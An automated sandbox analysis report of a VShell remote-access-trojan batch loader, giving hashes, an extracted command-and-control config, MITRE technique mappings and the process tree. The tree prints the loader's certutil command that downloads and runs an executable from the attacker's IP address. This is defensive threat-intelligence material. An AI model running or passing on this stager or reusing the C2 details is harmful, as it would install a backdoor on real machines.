vshell | fb9791b689dac8a1b9e63722f78266c90f1188aebb02f8eea33f60c8c8ab86c3

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
01/10/2026, 12:19

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
windows.bat
Size 493B
Sample261001-phlevabe95
SHA256 fb9791b689dac8a1b9e63722f78266c90f1188aebb02f8eea33f60c8c8ab86c3
MD5 d179c4ebdcaa87a6823cccab2025d686
SHA1 55a749cf37a1cb22c80215d1a9f6fa0f037de3f7
SHA512 1fe58a12cda0e888ba9fa168c0e02605f3802a969dac44b0783347ad08f2edf42a77203233a129b6ca8d2bd771b9d932dda404411e7700b9865e54e1d0858fb5
TLSH
T17DF059DC00970D740F82C85334906581B18B44C0CAF1978CA9D031E96E893D929AB7C3
MD5 SHA1 SHA512 TLSH

Score

10^/10

backdoor discovery execution vshell rat

Malware Config

Extracted

Family

vshell

ws://47.94.175.23

Attributes

port
8084
salt
Pjh070713!
type
ws
vkey
Pjh070713!

Signatures

Family: VShell
VShell is a cross-platform Go-based RAT and C2 framework targeting Windows and Linux.
backdoor rat vshell

Detects VSHELL Backdoor 1 IoCs

resource	yara_rule
behavioral1/memory/2504-9-0x0000000067D40000-0x0000000068534000-memory.dmp	family_vshell

Downloads MZ/PE file 2 IoCs

flow	pid	Process
5	3276	certutil.exe
10	3276	certutil.exe

Executes dropped EXE 1 IoCs

pid	Process
2504	4b515024ws.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3796	cmd.exe
4524	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	4b515024ws.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	WMIC.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	4b515024ws.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2504	4b515024ws.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4984	WMIC.exe
Token: SeSecurityPrivilege	4984	WMIC.exe
Token: SeTakeOwnershipPrivilege	4984	WMIC.exe
Token: SeLoadDriverPrivilege	4984	WMIC.exe
Token: SeSystemProfilePrivilege	4984	WMIC.exe
Token: SeSystemtimePrivilege	4984	WMIC.exe
Token: SeProfSingleProcessPrivilege	4984	WMIC.exe
Token: SeIncBasePriorityPrivilege	4984	WMIC.exe
Token: SeCreatePagefilePrivilege	4984	WMIC.exe
Token: SeBackupPrivilege	4984	WMIC.exe
Token: SeRestorePrivilege	4984	WMIC.exe
Token: SeShutdownPrivilege	4984	WMIC.exe
Token: SeDebugPrivilege	4984	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4984	WMIC.exe
Token: SeRemoteShutdownPrivilege	4984	WMIC.exe
Token: SeUndockPrivilege	4984	WMIC.exe
Token: SeManageVolumePrivilege	4984	WMIC.exe
Token: 33	4984	WMIC.exe
Token: 34	4984	WMIC.exe
Token: 35	4984	WMIC.exe
Token: 36	4984	WMIC.exe
Token: SeIncreaseQuotaPrivilege	4984	WMIC.exe
Token: SeSecurityPrivilege	4984	WMIC.exe
Token: SeTakeOwnershipPrivilege	4984	WMIC.exe
Token: SeLoadDriverPrivilege	4984	WMIC.exe
Token: SeSystemProfilePrivilege	4984	WMIC.exe
Token: SeSystemtimePrivilege	4984	WMIC.exe
Token: SeProfSingleProcessPrivilege	4984	WMIC.exe
Token: SeIncBasePriorityPrivilege	4984	WMIC.exe
Token: SeCreatePagefilePrivilege	4984	WMIC.exe
Token: SeBackupPrivilege	4984	WMIC.exe
Token: SeRestorePrivilege	4984	WMIC.exe
Token: SeShutdownPrivilege	4984	WMIC.exe
Token: SeDebugPrivilege	4984	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4984	WMIC.exe
Token: SeRemoteShutdownPrivilege	4984	WMIC.exe
Token: SeUndockPrivilege	4984	WMIC.exe
Token: SeManageVolumePrivilege	4984	WMIC.exe
Token: 33	4984	WMIC.exe
Token: 34	4984	WMIC.exe
Token: 35	4984	WMIC.exe
Token: 36	4984	WMIC.exe
Token: SeDebugPrivilege	2504	4b515024ws.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4524 wrote to memory of 3796	4524	cmd.exe	88
PID 3796 wrote to memory of 4984	3796	cmd.exe	89
PID 3796 wrote to memory of 4576	3796	cmd.exe	90
PID 4524 wrote to memory of 3276	4524	cmd.exe	92
PID 4524 wrote to memory of 2504	4524	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4524
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 64
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3796
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic os get osarchitecture
    3⤵
    - Reads the TCP/IP host and domain name from the registry
    - Suspicious use of AdjustPrivilegeToken
    PID:4984
- - C:\Windows\system32\findstr.exe
    findstr 64
    3⤵
    PID:4576
- C:\Windows\system32\certutil.exe
  certutil.exe -urlcache -split -f "http://47.94.175.23:8084/?h=47.94.175.23&p=8084&t=ws&a=w64&stage=true" "C:\Users\Public\4b515024ws.exe"
  2⤵
  - Downloads MZ/PE file
  PID:3276
- C:\Users\Public\4b515024ws.exe
  "C:\Users\Public\4b515024ws.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2504

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

4b515024ws.exe

Path C:\Users\Public\4b515024ws.exe
Size 4KB
SHA256 50541fc7c02b48f363ce4ce25113952a809c6c937e9c1ec9b3e35af4251fb4d8
MD5 f2172ed5e1246b4b8f67e1c73c50d353
SHA1 2ea0878fe444beaa5d213175cbc2e92a6f5a2b37
SHA512 70b983c46972a7a19f4feb6b9e1dbeba78b54f6aee177c39778d20dd76dcb1ddb5e09bc74f4493e9ce6407fe38a80b4c8af1d782dd3cff4f9e59c28d3127742d
SSDEEP 48:6IIF9BlQaexogZS7An0cF5uduvxRxUjbON9XM/ge93ahr0/:y9BOaMJ70cF50uDxUOvXeg
TLSH
T19391C64170B989E7E85C41BF4C0FB8A0B919740A41C483A60378A5993E3A67BF5BCB0E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/2504-7-0x00000159BF0A0000-0x00000159C0D3D000-memory.dmp

Download

memory/2504-9-0x0000000067D40000-0x0000000068534000-memory.dmp

Download

memory/2504-18-0x00000159BF0A0000-0x00000159C0D3D000-memory.dmp

Download